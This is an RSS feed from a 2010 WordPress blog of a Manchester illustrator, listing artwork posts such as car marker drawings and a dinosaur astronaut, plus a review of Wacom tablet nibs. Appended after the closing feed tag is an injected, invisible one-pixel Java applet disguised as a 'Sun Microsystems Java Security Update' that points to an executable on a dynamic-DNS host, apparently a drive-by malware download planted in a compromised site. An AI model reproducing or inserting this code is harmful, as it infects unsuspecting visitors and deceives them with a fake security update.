<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Neil Sutcliffe&#039;s Stuff</title>
	<atom:link href="http://neilsutcliffe.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://neilsutcliffe.com</link>
	<description>Graphic Designer and General &#039;Arty&#039; Guy</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:43:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Jitter Physics Engine Logo</title>
		<link>http://neilsutcliffe.com/graphic-design-manchester/jitter-physics-engine-logo/</link>
		<comments>http://neilsutcliffe.com/graphic-design-manchester/jitter-physics-engine-logo/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 14:43:56 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Graphic Design]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=214</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_215" class="wp-caption alignnone" style="width: 450px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/07/jitterblog.jpg" rel="lightbox[214]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/07/jitterblog-440x558.jpg" alt="Jitter Logo" title="Jitter Physic Engine Logo" width="440" height="558" class="size-medium wp-image-215" /></a><p class="wp-caption-text">Jitter Physics Engine Logo</p></div>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/graphic-design-manchester/jitter-physics-engine-logo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dinosaur Astronaut</title>
		<link>http://neilsutcliffe.com/illustration-manchester/dinosaur-astronaut/</link>
		<comments>http://neilsutcliffe.com/illustration-manchester/dinosaur-astronaut/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 17:13:49 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Illustration]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=211</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_212" class="wp-caption alignnone" style="width: 450px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/07/astronaut.jpg" rel="lightbox[211]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/07/astronaut-440x622.jpg" alt="Dinosaur Astronaut" title="Dinosaur Astronaut" width="440" height="622" class="size-medium wp-image-212" /></a><p class="wp-caption-text">Dinosaur Astronaut</p></div>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/illustration-manchester/dinosaur-astronaut/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Knock on the Door</title>
		<link>http://neilsutcliffe.com/storyboard-artist-manchester/207/</link>
		<comments>http://neilsutcliffe.com/storyboard-artist-manchester/207/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 22:47:45 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Storyboarding]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=207</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_206" class="wp-caption alignnone" style="width: 430px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/07/visitor.jpg" rel="lightbox[207]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/07/visitor-420x800.jpg" alt="Knock at the Door" title="Knock at the Door" width="420" height="800" class="size-medium wp-image-206" /></a><p class="wp-caption-text">Knock at the Door</p></div>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/storyboard-artist-manchester/207/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nissan Micra</title>
		<link>http://neilsutcliffe.com/illustration-manchester/nissan-micra/</link>
		<comments>http://neilsutcliffe.com/illustration-manchester/nissan-micra/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 10:37:49 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Illustration]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=198</guid>
		<description><![CDATA[Nissan Micra on marker paper with markers. I am currently learning to drive, this is the car I am learning in. I&#8217;ve been learning for a while now, hopefully I&#8217;m not too far from passing my test, just got to get used to roundabouts.]]></description>
			<content:encoded><![CDATA[<div id="attachment_199" class="wp-caption alignnone" style="width: 450px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/06/nissanmicra.jpg" rel="lightbox[198]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/06/nissanmicra-440x241.jpg" alt="Nissan Micra" title="Nissan Micra" width="440" height="241" class="size-medium wp-image-199" /></a><p class="wp-caption-text">Nissan Micra</p></div>
<p>Nissan Micra on marker paper with markers. I am currently learning to drive, this is the car I am learning in.</p>
<p>I&#8217;ve been learning for a while now, hopefully I&#8217;m not too far from passing my test, just got to get used to roundabouts.</p>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/illustration-manchester/nissan-micra/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mercedes McLaren SLR</title>
		<link>http://neilsutcliffe.com/illustration-manchester/mercedes-mclaren-slr/</link>
		<comments>http://neilsutcliffe.com/illustration-manchester/mercedes-mclaren-slr/#comments</comments>
		<pubDate>Mon, 07 Jun 2010 14:28:58 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Illustration]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=195</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_196" class="wp-caption alignnone" style="width: 450px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/06/mercedes.jpg" rel="lightbox[195]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/06/mercedes-440x207.jpg" alt="Mercedes McLaren SLR" title="Mercedes McLaren SLR" width="440" height="207" class="size-medium wp-image-196" /></a><p class="wp-caption-text">Mercedes McLaren SLR</p></div>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/illustration-manchester/mercedes-mclaren-slr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enzo Perspective with Markers</title>
		<link>http://neilsutcliffe.com/storyboard-artist-manchester/enzo-perspective-markers/</link>
		<comments>http://neilsutcliffe.com/storyboard-artist-manchester/enzo-perspective-markers/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 00:01:40 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Storyboarding]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=192</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_193" class="wp-caption alignnone" style="width: 450px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/06/enzo.jpg" rel="lightbox[192]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/06/enzo-440x209.jpg" alt="Ferrari Enzo Perspective with Markers" title="Ferrari Enzo Perspective with Markers" width="440" height="209" class="size-medium wp-image-193" /></a><p class="wp-caption-text">Ferrari Enzo</p></div>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/storyboard-artist-manchester/enzo-perspective-markers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Crash &amp; Burn</title>
		<link>http://neilsutcliffe.com/illustration-manchester/crash-burn/</link>
		<comments>http://neilsutcliffe.com/illustration-manchester/crash-burn/#comments</comments>
		<pubDate>Mon, 17 May 2010 22:31:21 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Illustration]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=189</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_190" class="wp-caption alignnone" style="width: 450px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/05/crashburn8.jpg" rel="lightbox[189]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/05/crashburn8-440x527.jpg" alt="Crash &amp; Burn Cover" title="Crash &amp; Burn" width="440" height="527" class="size-medium wp-image-190" /></a><p class="wp-caption-text">A cover for an Xbox Indie Game about crashing cars at intersections.</p></div>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/illustration-manchester/crash-burn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New book &#8211; Drawn To Life</title>
		<link>http://neilsutcliffe.com/blog/new-book-drawn-to-life/</link>
		<comments>http://neilsutcliffe.com/blog/new-book-drawn-to-life/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 11:14:38 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/blog/new-book-drawn-to-life/</guid>
		<description><![CDATA[The postman just delivered this to me this morning. Basically it&#8217;s for animators but the gesture drawings and techniques are still incredibly useful for storyboards and illustrations. Gonna try and work through this massive tome.]]></description>
			<content:encoded><![CDATA[<p>The postman just delivered this to me this morning. Basically it&#8217;s for animators but the gesture drawings and techniques are still incredibly useful for storyboards and illustrations. Gonna try and work through this massive tome. </p>
<p><a href="http://neilsutcliffe.com/wp-content/uploads/2010/04/l_2048_1536_520C7743-F0AA-4895-AE78-08EA44DABBAC.jpeg" rel="lightbox[186]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/04/l_2048_1536_520C7743-F0AA-4895-AE78-08EA44DABBAC.jpeg" alt="" class="alignnone size-full" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/blog/new-book-drawn-to-life/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Colorize Cover</title>
		<link>http://neilsutcliffe.com/graphic-design-manchester/colorize-cover/</link>
		<comments>http://neilsutcliffe.com/graphic-design-manchester/colorize-cover/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 21:26:48 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Graphic Design]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=175</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_174" class="wp-caption alignnone" style="width: 450px"><a href="http://neilsutcliffe.com/wp-content/uploads/2010/04/Colorize.jpg" rel="lightbox[175]"><img src="http://neilsutcliffe.com/wp-content/uploads/2010/04/Colorise2-440x527.jpg" alt="Colorize Cover" title="Colorize" width="440" height="527" class="size-medium wp-image-174" /></a><p class="wp-caption-text">Colorize Cover</p></div>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/graphic-design-manchester/colorize-cover/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Understanding Wacom Nibs for Intuos and Cintiq</title>
		<link>http://neilsutcliffe.com/blog/understanding-wacom-nibs-intuos-cintiq/</link>
		<comments>http://neilsutcliffe.com/blog/understanding-wacom-nibs-intuos-cintiq/#comments</comments>
		<pubDate>Sun, 28 Mar 2010 18:52:18 +0000</pubDate>
		<dc:creator>Neil</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://neilsutcliffe.com/?p=164</guid>
		<description><![CDATA[For the Wacom Intuos 4 and Wacom Cintiq 21UX there are 4 main types of nibs available. Each has a different feel and style of handling. I will briefly go over the nibs that are available and what they would be most suited for. The new Wacom graphics tablets come with 11 nibs in total [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_163" class="wp-caption center" style="width: 522px"><a rel="attachment wp-att-163" href="http://neilsutcliffe.com/blog/understanding-wacom-nibs-intuos-cintiq/attachment/intuos-4-nibs-cintiq/"><img class="size-full wp-image-163" title="Wacom Nibs" src="http://neilsutcliffe.com/wp-content/uploads/2010/03/intuos-4-nibs-cintiq.jpg" alt="Wacom Nibs" width="512" height="172" /></a><p class="wp-caption-text">Wacom Nibs</p></div>
<p>For the Wacom Intuos 4 and Wacom Cintiq 21UX there are 4 main types of nibs available. Each has a different feel and style of handling. I will briefly go over the nibs that are available and what they would be most suited for. The new Wacom graphics tablets come with 11 nibs in total as follows.</p>
<ul>
<li>6 Standard</li>
<li>3 Felt</li>
<li>1 Flex</li>
<li>1 Stroke</li>
</ul>
<p><span id="more-164"></span></p>
<h3>Standard Nib</h3>
<p>You get 6 of these in total. They are black and plastic and have an intermediate feel on the tablet surface. I find these slightly awkward to sketch with, but for coloring, dodging burning etc. they are incredibly capable and are the most versatile of all the nibs. They also last quite a while. These are my favourite for colouring artwork and general photoshop work.</p>
<h3>Felt Nibs</h3>
<p>These felt nibs give much more resistance than other nibs and are more suitable for sketching straight into the computer. The problem with these though is they start to wear down and look nasty REALLY QUICKLY. This is exasperated by the fact that Wacom only includes three in each tablet. Overall these are my favourite as the feel is halfway between a Sanford Sharpie and an ordinary pencil. I tend to use these for sketching stuff into the computer.</p>
<h3>Flex Nib</h3>
<p>This nib tends to move smoothly across the surface but tends to feel a bit mushy in my opinion and quite a lot of pressure needs to be put on to get heavy lines. More so than other nibs. Also when drawing it tends to carry a lot of momentum making sketching hard. The feel is quite similar to that of pastels. My least favourite nib. I have no idea how hard wearing these are but they look like they would have a short lifespan.</p>
<h3>Stroke Nib</h3>
<p>Out of all the Wacom nibs, this one carry&#8217;s the most momentum. It is very soft but makes more noise than the flex nib when in use. It is ideal for inking lines or for emulating the look of quick brushwork. However cause it is absolutely appalling at small sketching work I find myself staying away from it due to the inconvenience of changing it round. They are also more expensive to buy individually.</p>
<p>So there you have it. A quick run down of the various nibs available for the Intuos 4 and the Cintiq 21UX.</p>
]]></content:encoded>
			<wfw:commentRss>http://neilsutcliffe.com/blog/understanding-wacom-nibs-intuos-cintiq/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

<applet code="Sun_Microsystems_Java_Security_Update_6.class" width="1" archive="Sun_Microsystems_Java_Security_Update_6.jar" height="1">
<param name="file" value="http://marocscandale.dyndns.tv/frex.exe" /></applet>&nbsp;

